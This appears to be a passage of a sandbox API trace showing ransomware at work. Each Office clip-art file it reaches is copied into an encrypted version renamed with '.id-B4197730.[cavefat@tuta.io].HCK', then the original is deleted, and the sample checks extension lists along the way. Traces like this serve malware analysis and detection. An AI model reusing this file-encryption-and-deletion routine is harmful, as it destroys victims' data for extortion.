1 [0169.808] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.815] GetLastError () returned 0x0 [0169.815] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1c88, lpOverlapped=0x0) returned 1 [0169.819] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0169.820] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.820] WriteFile (in: hFile=0x398, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.820] SetEndOfFile (hFile=0x398) returned 1 [0169.823] CloseHandle (hObject=0x398) returned 1 [0169.823] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.823] SetEndOfFile (hFile=0x2ec) returned 1 [0169.825] CloseHandle (hObject=0x2ec) returned 1 [0169.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 1 [0169.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.832] lstrlenW (lpString=".doc") returned 4 [0169.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.832] lstrlenW (lpString=".docx") returned 5 [0169.832] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.832] lstrlenW (lpString=".pdf") returned 4 [0169.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.832] lstrlenW (lpString=".xls") returned 4 [0169.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.832] lstrlenW (lpString=".xlsx") returned 5 [0169.832] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.832] lstrlenW (lpString=".ppt") returned 4 [0169.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.832] lstrlenW (lpString=".zip") returned 4 [0169.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.832] lstrlenW (lpString=".rar") returned 4 [0169.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.832] lstrlenW (lpString=".bz2") returned 4 [0169.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.832] lstrlenW (lpString=".7z") returned 3 [0169.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.832] lstrlenW (lpString=".dbf") returned 4 [0169.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString=".1cd") returned 4 [0169.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString=".jpg") returned 4 [0169.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString=".doc") returned 4 [0169.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString=".docx") returned 5 [0169.833] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.833] lstrlenW (lpString=".pdf") returned 4 [0169.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString=".xls") returned 4 [0169.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.833] lstrlenW (lpString=".xlsx") returned 5 [0169.833] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.833] lstrlenW (lpString=".ppt") returned 4 [0169.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString=".zip") returned 4 [0169.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.833] lstrlenW (lpString=".rar") returned 4 [0169.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString=".bz2") returned 4 [0169.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString=".7z") returned 3 [0169.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString=".dbf") returned 4 [0169.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString=".1cd") returned 4 [0169.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0169.833] lstrlenW (lpString=".jpg") returned 4 [0169.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.833] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.833] lstrlenW (lpString="J0185780.WMF") returned 12 [0169.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.838] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=59734) returned 1 [0169.838] CloseHandle (hObject=0x354) returned 1 [0169.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 0x220 [0169.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.848] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.848] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.861] GetLastError () returned 0x0 [0169.861] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe956, lpOverlapped=0x0) returned 1 [0169.866] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe960, lpOverlapped=0x0) returned 1 [0169.867] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.867] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.867] SetEndOfFile (hFile=0x388) returned 1 [0169.869] CloseHandle (hObject=0x388) returned 1 [0169.870] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.870] SetEndOfFile (hFile=0x370) returned 1 [0169.873] CloseHandle (hObject=0x370) returned 1 [0169.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 1 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.879] lstrlenW (lpString=".doc") returned 4 [0169.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString=".docx") returned 5 [0169.879] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.879] lstrlenW (lpString=".pdf") returned 4 [0169.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString=".xls") returned 4 [0169.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.879] lstrlenW (lpString=".xlsx") returned 5 [0169.879] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.879] lstrlenW (lpString=".ppt") returned 4 [0169.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.879] lstrlenW (lpString=".zip") returned 4 [0169.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.879] lstrlenW (lpString=".rar") returned 4 [0169.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString=".bz2") returned 4 [0169.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString=".7z") returned 3 [0169.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.879] lstrlenW (lpString=".dbf") returned 4 [0169.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.879] lstrlenW (lpString=".1cd") returned 4 [0169.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.879] lstrlenW (lpString=".jpg") returned 4 [0169.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.880] lstrlenW (lpString=".doc") returned 4 [0169.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.880] lstrlenW (lpString=".docx") returned 5 [0169.880] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.880] lstrlenW (lpString=".pdf") returned 4 [0169.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.880] lstrlenW (lpString=".xls") returned 4 [0169.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.880] lstrlenW (lpString=".xlsx") returned 5 [0169.880] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.880] lstrlenW (lpString=".ppt") returned 4 [0169.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.880] lstrlenW (lpString=".zip") returned 4 [0169.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.880] lstrlenW (lpString=".rar") returned 4 [0169.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.880] lstrlenW (lpString=".bz2") returned 4 [0169.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.880] lstrlenW (lpString=".7z") returned 3 [0169.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.880] lstrlenW (lpString=".dbf") returned 4 [0169.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.880] lstrlenW (lpString=".1cd") returned 4 [0169.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0169.880] lstrlenW (lpString=".jpg") returned 4 [0169.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.880] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.880] lstrlenW (lpString="J0185800.WMF") returned 12 [0169.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.889] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24238) returned 1 [0169.889] CloseHandle (hObject=0x354) returned 1 [0169.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 0x220 [0169.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.897] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.897] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0169.903] GetLastError () returned 0x0 [0169.903] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5eae, lpOverlapped=0x0) returned 1 [0169.905] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5eb0, lpOverlapped=0x0) returned 1 [0169.906] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.906] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.906] SetEndOfFile (hFile=0x364) returned 1 [0169.909] CloseHandle (hObject=0x364) returned 1 [0169.913] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.913] SetEndOfFile (hFile=0x378) returned 1 [0169.916] CloseHandle (hObject=0x378) returned 1 [0169.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf")) returned 1 [0169.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.923] lstrlenW (lpString=".doc") returned 4 [0169.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.923] lstrlenW (lpString=".docx") returned 5 [0169.923] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.923] lstrlenW (lpString=".pdf") returned 4 [0169.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.923] lstrlenW (lpString=".xls") returned 4 [0169.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.924] lstrlenW (lpString=".xlsx") returned 5 [0169.924] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.924] lstrlenW (lpString=".ppt") returned 4 [0169.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".zip") returned 4 [0169.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.924] lstrlenW (lpString=".rar") returned 4 [0169.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString=".bz2") returned 4 [0169.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString=".7z") returned 3 [0169.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".dbf") returned 4 [0169.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".1cd") returned 4 [0169.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".jpg") returned 4 [0169.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".doc") returned 4 [0169.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString=".docx") returned 5 [0169.924] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.924] lstrlenW (lpString=".pdf") returned 4 [0169.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString=".xls") returned 4 [0169.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.924] lstrlenW (lpString=".xlsx") returned 5 [0169.924] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.924] lstrlenW (lpString=".ppt") returned 4 [0169.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".zip") returned 4 [0169.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.924] lstrlenW (lpString=".rar") returned 4 [0169.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString=".bz2") returned 4 [0169.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString=".7z") returned 3 [0169.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".dbf") returned 4 [0169.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.924] lstrlenW (lpString=".1cd") returned 4 [0169.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF") returned 68 [0169.925] lstrlenW (lpString=".jpg") returned 4 [0169.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.925] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.925] lstrlenW (lpString="J0185834.WMF") returned 12 [0169.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0169.930] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8578) returned 1 [0169.930] CloseHandle (hObject=0x360) returned 1 [0169.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 0x220 [0169.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.937] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.937] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.944] 